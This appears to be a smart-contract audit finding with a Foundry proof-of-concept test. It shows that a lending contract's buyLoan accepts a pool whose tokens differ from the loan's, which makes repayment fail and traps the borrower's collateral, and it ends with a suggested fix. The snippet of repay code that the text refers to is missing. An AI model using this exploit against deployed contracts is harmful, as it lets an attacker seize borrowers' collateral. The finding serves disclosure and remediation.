When calling buyLoan it is not checking the pool which contains the collateral token that matches the loan token collateral. This can cause damage since the code is assuming that the loan collateral token is equal to the pool collateral token so it is not updating it. So when repaying the function repay has this code:
but since the loan.collateralToken of the pool now is different than the loan token which has not been updated it will cause the poolId is not found.
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract LenderTest is Test {
Lender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
TERC20 public anotherLoanToken;
TERC20 public anotherCollateralToken;
address public lender1 = address(0x1);
address public lender2 = address(0x2);
address public borrower = address(0x3);
address public fees = address(0x4);
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000 * 10 ** 18);
loanToken.mint(address(lender2), 100000 * 10 ** 18);
collateralToken.mint(address(borrower), 100000 * 10 ** 18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
anotherLoanToken = new TERC20();
anotherCollateralToken = new TERC20();
anotherLoanToken.mint(address(lender1), 100000 * 10 ** 18);
anotherLoanToken.mint(address(lender2), 100000 * 10 ** 18);
anotherCollateralToken.mint(address(borrower), 100000 * 10 ** 18);
vm.startPrank(lender1);
anotherLoanToken.approve(address(lender), 1000000 * 10 ** 18);
anotherCollateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(lender2);
anotherLoanToken.approve(address(lender), 1000000 * 10 ** 18);
anotherCollateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(borrower);
anotherLoanToken.approve(address(lender), 1000000 * 10 ** 18);
anotherCollateralToken.approve(address(lender), 1000000 * 10 ** 18);
}
function borrow() public {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
assertEq(poolBalance, 1000 * 10 ** 18);
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 * 10 ** 18,
collateral: 100 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
assertEq(loanToken.balanceOf(address(borrower)), 995 * 10 ** 17);
assertEq(collateralToken.balanceOf(address(lender)), 100 * 10 ** 18);
(, , , , poolBalance, , , , ) = lender.pools(poolId);
assertEq(poolBalance, 900 * 10 ** 18);
}
function test_poc() public {
borrow();
vm.warp(block.timestamp + 364 days + 12 hours);
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.startPrank(lender2);
Pool memory p = Pool({
lender: lender2,
loanToken: address(anotherLoanToken),
collateralToken: address(anotherCollateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
vm.warp(block.timestamp + 12 hours);
lender.buyLoan(0, poolId);
assertEq(lender.getLoanDebt(0), 110 * 10 ** 18);
vm.startPrank(borrower);
loanToken.mint(address(borrower), 100000 * 10 ** 18);
anotherLoanToken.mint(address(borrower), 100000 * 10 ** 18);
lender.repay(loanIds);
}
}
Pool will not be found causing the collateral token to be stuck. So if a user buy loan and then the borrower decided to repay he will not be able and the attacker can force to get the borrower collateral.
Check that the collateral/loan tokens of the pool that is buying the Loan is equal to the loan's.